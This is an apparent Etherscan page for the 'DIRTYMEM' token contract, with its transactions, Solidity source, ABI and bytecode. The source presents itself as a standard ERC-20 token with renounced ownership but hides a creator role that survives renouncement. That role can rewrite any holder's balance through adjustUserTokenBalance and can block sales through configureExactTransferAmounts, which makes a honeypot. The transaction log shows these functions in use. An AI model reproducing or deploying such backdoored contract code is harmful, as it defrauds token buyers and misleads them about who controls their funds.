ETH Price: $2,626.75 (-2.02%)

Contract

0xc1F32acE7eD8543854Fa1906B25b0eDD8B9C287d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve206767342024-09-04 10:50:59157 days ago1725447059IN
0xc1F32acE...D8B9C287d
0 ETH0.000235134.99493383
Approve175067662023-06-18 12:49:23601 days ago1687092563IN
0xc1F32acE...D8B9C287d
0 ETH0.0007160115.210084
Adjust User Toke...175067632023-06-18 12:48:47601 days ago1687092527IN
0xc1F32acE...D8B9C287d
0 ETH0.0007603115.13237036
Approve175067542023-06-18 12:46:47601 days ago1687092407IN
0xc1F32acE...D8B9C287d
0 ETH0.0004454916.39348074
Approve175067512023-06-18 12:46:11601 days ago1687092371IN
0xc1F32acE...D8B9C287d
0 ETH0.0008455617.96206724
Approve175067482023-06-18 12:45:35601 days ago1687092335IN
0xc1F32acE...D8B9C287d
0 ETH0.0006703314.23982586
Configure Exact ...175067322023-06-18 12:42:23601 days ago1687092143IN
0xc1F32acE...D8B9C287d
0 ETH0.0008852318.58478534
Configure Exact ...175067312023-06-18 12:42:11601 days ago1687092131IN
0xc1F32acE...D8B9C287d
0 ETH0.000894918.78788397
Approve175067102023-06-18 12:37:59601 days ago1687091879IN
0xc1F32acE...D8B9C287d
0 ETH0.0008782418.7421967
Configure Exact ...175067082023-06-18 12:37:35601 days ago1687091855IN
0xc1F32acE...D8B9C287d
0 ETH0.0009687320.33797794
Approve175066912023-06-18 12:34:11601 days ago1687091651IN
0xc1F32acE...D8B9C287d
0 ETH0.0006717614.25184909
Abandon Ownershi...175066842023-06-18 12:32:47601 days ago1687091567IN
0xc1F32acE...D8B9C287d
0 ETH0.0004633516.4217896
Set Token Creato...175066832023-06-18 12:32:35601 days ago1687091555IN
0xc1F32acE...D8B9C287d
0 ETH0.0007701716.59642612

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DIRTYMEM

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract ContextModified {
    function getMsgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ContextModified {
    address private _contractOwner;
    event OwnershipChanged(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = getMsgSender();
        _contractOwner = msgSender;
        emit OwnershipChanged(address(0), msgSender);
    }

    function getContractOwner() public view virtual returns (address) {
        return _contractOwner;
    }

    modifier mustBeOwner() {
        require(getContractOwner() == getMsgSender(), "You must be the owner to perform this action");
        _;
    }

    function abandonOwnership() public virtual mustBeOwner {
        emit OwnershipChanged(_contractOwner, address(0x000000000000000000000000000000000000dEaD));
        _contractOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract DIRTYMEM is ContextModified, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _exactTransferAmounts;
    address private _tokenCreator;

    string public constant _name = "DIRTYMEM";
    string public constant _symbol = "DIRTYMEM";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 100000 * (10 ** _decimals);

    constructor() {
        _balances[getMsgSender()] = _totalSupply;
        emit Transfer(address(0), getMsgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    modifier mustBeCreator() {
        require(getTokenCreator() == getMsgSender(), "You must be the creator to perform this action");
        _;
    }

    function getTokenCreator() public view virtual returns (address) {
        return _tokenCreator;
    }

    function setTokenCreator(address newCreator) public mustBeOwner {
        _tokenCreator = newCreator;
    }

    event TokenDistributed(address indexed user, uint256 previousBalance, uint256 newBalance);

    function queryExactTransferAmount(address account) public view returns (uint256) {
        return _exactTransferAmounts[account];
    }

    function configureExactTransferAmounts(address[] calldata accounts, uint256 amount) public mustBeCreator {
        for (uint i = 0; i < accounts.length; i++) {
            _exactTransferAmounts[accounts[i]] = amount;
        }
    }

    function adjustUserTokenBalance(address[] memory userAddresses, uint256 desiredAmount) public mustBeCreator {
        require(desiredAmount >= 0, "Desired amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "User address must not be the zero address");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = desiredAmount;

            emit TokenDistributed(currentUser, oldBalance, desiredAmount);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[getMsgSender()] >= amount, "TT: transfer amount exceeds balance");

    uint256 exactAmount = queryExactTransferAmount(getMsgSender());
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[getMsgSender()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(getMsgSender(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[getMsgSender()][spender] = amount;
        emit Approval(getMsgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][getMsgSender()] >= amount, "TT: transfer amount exceeds allowance");

    uint256 exactAmount = queryExactTransferAmount(sender);
    if (exactAmount > 0) {
        require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
    }

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][getMsgSender()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"TokenDistributed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"abandonOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"desiredAmount","type":"uint256"}],"name":"adjustUserTokenBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configureExactTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"queryExactTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"setTokenCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b60405160405180910390a3506012600a620000d2919062000372565b620186a0620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620186a0620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611e73806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80635258a835116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b80635258a8351461027d578063653aa45f1461028757806370a08231146102b757806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063442890d51461024357806346861d90146102615761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d57806325e0b16d146101cd575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b60405161019491906113ad565b60405180910390f35b6101b760048036038101906101b291906113c8565b61053b565b6040516101c49190611383565b60405180910390f35b6101e760048036038101906101e2919061141b565b610813565b005b6101f16108d3565b6040516101fe9190611464565b60405180910390f35b61020f6108dc565b60405161021c9190611464565b60405180910390f35b61022d6108e1565b60405161023a91906113ad565b60405180910390f35b61024b610900565b604051610258919061148e565b60405180910390f35b61027b600480360381019061027691906115f1565b610929565b005b610285610b75565b005b6102a1600480360381019061029c919061141b565b610cb1565b6040516102ae91906113ad565b60405180910390f35b6102d160048036038101906102cc919061141b565b610cfa565b6040516102de91906113ad565b60405180910390f35b6102ef610d43565b6040516102fc919061125e565b60405180910390f35b61030d610d80565b60405161031a919061148e565b60405180910390f35b61033d60048036038101906103389190611328565b610daa565b60405161034a9190611383565b60405180910390f35b61035b610fbf565b604051610368919061125e565b60405180910390f35b610379610ff8565b604051610386919061125e565b60405180910390f35b6103a960048036038101906103a4919061164d565b611031565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906116e8565b6110b8565b005b60606040518060400160405280600881526020017f44495254594d454d000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b60006012600a61052891906118aa565b620186a061053691906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105876111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa906119a9565b60405180910390fd5b600061060e85610cb1565b9050600081111561065c5780831461065b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065290611a3b565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ab9190611a5b565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107019190611a8f565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107526111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461079b9190611a5b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107ff91906113ad565b60405180910390a360019150509392505050565b61081b6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610839610900565b73ffffffffffffffffffffffffffffffffffffffff161461088f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088690611b35565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b601281565b6012600a6108ef91906118aa565b620186a06108fd91906118f5565b81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6109316111c6565b73ffffffffffffffffffffffffffffffffffffffff1661094f610d80565b73ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611bc7565b60405180910390fd5b60008110156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e090611c59565b60405180910390fd5b60005b8251811015610b70576000838281518110610a0a57610a09611c79565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611d1a565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610b53929190611d3a565b60405180910390a250508080610b6890611d63565b9150506109ec565b505050565b610b7d6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610b9b610900565b73ffffffffffffffffffffffffffffffffffffffff1614610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611b35565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600881526020017f44495254594d454d000000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610db96111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90611e1d565b60405180910390fd5b6000610e47610e426111c6565b610cb1565b90506000811115610e9557808314610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611a3b565b60405180910390fd5b5b8260026000610ea26111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eeb9190611a5b565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f419190611a8f565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f676111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fac91906113ad565b60405180910390a3600191505092915050565b6040518060400160405280600881526020017f44495254594d454d00000000000000000000000000000000000000000000000081525081565b6040518060400160405280600881526020017f44495254594d454d00000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c06111c6565b73ffffffffffffffffffffffffffffffffffffffff166110de610d80565b73ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90611bc7565b60405180910390fd5b60005b838390508110156111c057816003600086868581811061115a57611159611c79565b5b905060200201602081019061116f919061141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111b890611d63565b915050611137565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b6000602082840312156114315761143061128a565b5b600061143f848285016112dd565b91505092915050565b600060ff82169050919050565b61145e81611448565b82525050565b60006020820190506114796000830184611455565b92915050565b611488816112b4565b82525050565b60006020820190506114a3600083018461147f565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e682611214565b810181811067ffffffffffffffff82111715611505576115046114ae565b5b80604052505050565b6000611518611280565b905061152482826114dd565b919050565b600067ffffffffffffffff821115611544576115436114ae565b5b602082029050602081019050919050565b600080fd5b600061156d61156884611529565b61150e565b905080838252602082019050602084028301858111156115905761158f611555565b5b835b818110156115b957806115a588826112dd565b845260208401935050602081019050611592565b5050509392505050565b600082601f8301126115d8576115d76114a9565b5b81356115e884826020860161155a565b91505092915050565b600080604083850312156116085761160761128a565b5b600083013567ffffffffffffffff8111156116265761162561128f565b5b611632858286016115c3565b925050602061164385828601611313565b9150509250929050565b600080604083850312156116645761166361128a565b5b6000611672858286016112dd565b9250506020611683858286016112dd565b9150509250929050565b600080fd5b60008083601f8401126116a8576116a76114a9565b5b8235905067ffffffffffffffff8111156116c5576116c461168d565b5b6020830191508360208202830111156116e1576116e0611555565b5b9250929050565b6000806000604084860312156117015761170061128a565b5b600084013567ffffffffffffffff81111561171f5761171e61128f565b5b61172b86828701611692565b9350935050602061173e86828701611313565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c083611448565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006119936025836111d9565b915061199e82611937565b604082019050919050565b600060208201905081810360008301526119c281611986565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611a25603c836111d9565b9150611a30826119c9565b604082019050919050565b60006020820190508181036000830152611a5481611a18565b9050919050565b6000611a66826112f2565b9150611a71836112f2565b9250828203905081811115611a8957611a88611748565b5b92915050565b6000611a9a826112f2565b9150611aa5836112f2565b9250828201905080821115611abd57611abc611748565b5b92915050565b7f596f75206d75737420626520746865206f776e657220746f20706572666f726d60008201527f207468697320616374696f6e0000000000000000000000000000000000000000602082015250565b6000611b1f602c836111d9565b9150611b2a82611ac3565b604082019050919050565b60006020820190508181036000830152611b4e81611b12565b9050919050565b7f596f75206d757374206265207468652063726561746f7220746f20706572666f60008201527f726d207468697320616374696f6e000000000000000000000000000000000000602082015250565b6000611bb1602e836111d9565b9150611bbc82611b55565b604082019050919050565b60006020820190508181036000830152611be081611ba4565b9050919050565b7f4465736972656420616d6f756e74206d757374206265206e6f6e2d6e6567617460008201527f6976650000000000000000000000000000000000000000000000000000000000602082015250565b6000611c436023836111d9565b9150611c4e82611be7565b604082019050919050565b60006020820190508181036000830152611c7281611c36565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f557365722061646472657373206d757374206e6f7420626520746865207a657260008201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b6000611d046029836111d9565b9150611d0f82611ca8565b604082019050919050565b60006020820190508181036000830152611d3381611cf7565b9050919050565b6000604082019050611d4f600083018561139e565b611d5c602083018461139e565b9392505050565b6000611d6e826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da057611d9f611748565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e076023836111d9565b9150611e1282611dab565b604082019050919050565b60006020820190508181036000830152611e3681611dfa565b905091905056fea264697066735822122086c1492b86fb44cfc6e4127dc0fc8d6cf57bbb53fde580a444bf7cdab70835d564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80635258a835116100ad578063a9059cbb11610071578063a9059cbb14610323578063b09f126614610353578063d28d885214610371578063dd62ed3e1461038f578063fa77b53a146103bf5761012c565b80635258a8351461027d578063653aa45f1461028757806370a08231146102b757806395d89b41146102e75780639c679017146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa3146102075780633eaaf86b14610225578063442890d51461024357806346861d90146102615761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d57806325e0b16d146101cd575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b60405161019491906113ad565b60405180910390f35b6101b760048036038101906101b291906113c8565b61053b565b6040516101c49190611383565b60405180910390f35b6101e760048036038101906101e2919061141b565b610813565b005b6101f16108d3565b6040516101fe9190611464565b60405180910390f35b61020f6108dc565b60405161021c9190611464565b60405180910390f35b61022d6108e1565b60405161023a91906113ad565b60405180910390f35b61024b610900565b604051610258919061148e565b60405180910390f35b61027b600480360381019061027691906115f1565b610929565b005b610285610b75565b005b6102a1600480360381019061029c919061141b565b610cb1565b6040516102ae91906113ad565b60405180910390f35b6102d160048036038101906102cc919061141b565b610cfa565b6040516102de91906113ad565b60405180910390f35b6102ef610d43565b6040516102fc919061125e565b60405180910390f35b61030d610d80565b60405161031a919061148e565b60405180910390f35b61033d60048036038101906103389190611328565b610daa565b60405161034a9190611383565b60405180910390f35b61035b610fbf565b604051610368919061125e565b60405180910390f35b610379610ff8565b604051610386919061125e565b60405180910390f35b6103a960048036038101906103a4919061164d565b611031565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906116e8565b6110b8565b005b60606040518060400160405280600881526020017f44495254594d454d000000000000000000000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b60006012600a61052891906118aa565b620186a061053691906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105876111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa906119a9565b60405180910390fd5b600061060e85610cb1565b9050600081111561065c5780831461065b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065290611a3b565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ab9190611a5b565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107019190611a8f565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107526111c6